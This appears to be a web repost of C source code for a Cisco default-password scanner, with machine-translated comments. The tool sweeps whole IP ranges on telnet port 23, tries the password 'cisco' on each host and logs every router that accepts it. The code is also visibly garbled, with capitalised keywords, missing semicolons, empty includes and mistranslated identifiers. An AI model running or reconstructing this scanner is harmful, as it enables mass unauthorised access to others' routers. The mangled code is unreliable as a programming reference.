Cisco default password Scanner v1.3 final
After breakfast in the morning, I read the source code of the final version of Cisco default password Scanner v1.3. It is simply limited in Chinese and English. Please criticize and correct it.
/ * Cisco default password Scanner v1.3 final version
The Cisco scanner can scan a class A, B, and C ip address pool with a default password of cisco.
Cisco routers that have not yet come and changed their passwords have scanned the records and saved them to a cisco.txt
In the file.
How to use it:
Class An address =. / ciscos 1271
Class B address =. / ciscos 127.0 2
Class C address =. / ciscos 127.0.03
Optional:
-t = timeout interval (default 3-5 seconds)
-C = number of threads set (preferably less than 300 threads)
:: Ravi_C::
Smolten@ureach.com
Sinicization: looking back on QQ:328504126
, /
# include
# include
# include
# include
# include
# include
# include
# include
# include
# include
# include
# include
# define SA struct sockaddr
# define SIN_LEN sizeof (struct sockaddr_in)
# define IPV4_ADDRLEN 16
Void ShowHelp (char *, char *)
Void ShowVer ()
{
Printf ("Cisco Scanner v1.3\ n")
}
Int ConnectCheck (struct sockaddr_in, int)
Const char * ipv4_ntop (int, const void *, char *, size_t)
FILE * stream
Int main (int argc, char * argv []) {
Int iTunes 0, 7, 7, classrooms, 0
Char DestIP [15], * NetworkID,c,*num3
Struct sockaddr_in DestAddress
If (argc
< 3) ShowHelp(argv[0], ""); NetworkID = argv[1]; num3=argv[2]; class=atoi(num3); opterr = 0; while((c = getopt(argc, argv, "C:t:")) != -1) { switch(c) { case 'C': Children = atoi(optarg); break; case 't': Timeout = atoi(optarg); break; case '?': ShowHelp(argv[0], "ERROR: unrecognized option"); break; } } if(Children < 1) ShowHelp(argv[0], "ERROR: invalid number of children"); if(Timeout < 1) ShowHelp(argv[0], "ERROR: invalid timeout"); ShowVer(); /*Class A*/ if (class==1) fprintf(stderr, "Scanning: %s.*.*.*\n output:cisco.txt\n threads:%i\n timeout:%i\n\n", NetworkID,Children,Timeout); /*Class B*/ if (class==2) fprintf(stderr, "Scanning: %s.*.*\n output:cisco.txt\n threads:%i\n timeout:%i\n\n", NetworkID,Children,Timeout); /*Class C*/ if (class==3) fprintf(stderr, "Scanning: %s.*\n output:cisco.txt\n threads:%i\n timeout:%i\n\n", NetworkID,Children,Timeout); DestAddress.sin_family = AF_INET; DestAddress.sin_port = htons(23); /*Class A*/ if (class==1){ for(k = 0; k < 256; k++) { for(j = 0; j < 256; j++) { for(i = 0; i < 256; i++) { if (i >Children | | j > 0 | | k > 0) {
Wait & status)
}
Sprintf (DestIP, "% s.%d.%d.%d", NetworkID,k,j,i)
Inet_aton (DestIP, & DestAddress.sin_addr)
If (! fork ()) ConnectCheck (DestAddress, Timeout)
}
}
}
}
/ * Class financing /
If (class==2) {
For (j = 0; j)
< 256; j++) { for(i = 0; i < 256; i++) { if (i >Children | | j > 0) {
Wait & status)
}
Sprintf (DestIP, "% s.%d.%d", NetworkID,j,i)
Inet_aton (DestIP, & DestAddress.sin_addr)
If (! fork ()) ConnectCheck (DestAddress, Timeout)
}
}
}
/ * Class accounts /
If (class==3) {
For (I = 0; I)
< 256; i++) { if (i >Children) {
Wait & status)
}
Sprintf (DestIP, "% s% d", NetworkID, I)
Inet_aton (DestIP, & DestAddress.sin_addr)
If (! fork ()) ConnectCheck (DestAddress, Timeout)
}
}
For (;;) {
If ((waitpid (- 1, & status, WNOHANG) =-1) & & (errno = = ECHILD))
Exit (EXIT_SUCCESS)
}
}
Int ConnectCheck (struct sockaddr_in DestAddr, int Timeout)
{
Int result,ret,SocketFD
Char Hostname [60], buffer1 [64], buffer2 [64]
If ((SocketFD = socket (AF_INET, SOCK_STREAM, 0))
< 0) exit (EXIT_FAILURE); alarm(Timeout); result = connect(SocketFD, (SA *)&DestAddr, SIN_LEN); if (!result) { alarm(Timeout); memset(buffer1, '\0', 64); memset(buffer2, '\0', 64); if ((ret = read(SocketFD, buffer1, 64)) >0)
{
Ret = read (SocketFD, buffer1, 64)
Send (SocketFD, "cisco\ r", 6Jing 0)
Ret = read (SocketFD, buffer2, 64)
If ((memcmp (buffer2, "\ r\ nPass", 6)) & &
! (memcmp (buffer1
"\ r\ n\ r\ nUser Access Verification\ r\ n\ r\ nPassword", 40)
{
Stream = fopen ("cisco.txt", "a")
Printf ("Cisco found:% s\ n\ a"
Ipv4_ntop (AF_INET,&DestAddr.sin_addr.s_addr,Hostname,59))
Fprintf (stream, "% s\ n"
Ipv4_ntop (AF_INET,&DestAddr.sin_addr.s_addr,Hostname,59))
Fclose (stream)
}}
Close (SocketFD)
}
Exit (EXIT_SUCCESS)
}
Const char *
Ipv4_ntop (int family, const void * addrptr, char * strptr, size_t len) {
Const u_char * p = (const u_char *) addrptr
If (family = = AF_INET) {
Char temp[IPV4 _ ADDRLEN]
Snprintf (temp, sizeof (temp), "% d.%d.%d.%d", p [0], p [1], p [2], p [3])
If (strlen (temp) > = len) {
Errno = ENOSPC
Return (NULL)
}
Strcpy (strptr, temp)
Return (strptr)
}
Errno = EAFNOSUPPORT
Return (NULL)
}
Void ShowHelp (char * argv0, char * ErrMsg) {
ShowVer ()
Printf ("output will be stored in oh cisco.txt file\ n")
Printf ("how to use:% s [optional]\ n", argv0)
Printf ("scan a Class An address: ciscos 1271\ n")
Printf ("scan a Class B address: ciscos 127.0 2\ n")
Printf ("scan a Class C address: ciscos 127.0.03\ n")
Printf ("[- C] maximum number of threads that can be opened\ n")
Printf ("[- t] seconds of timeout\ n\ n")
Exit (EXIT_FAILURE)
}
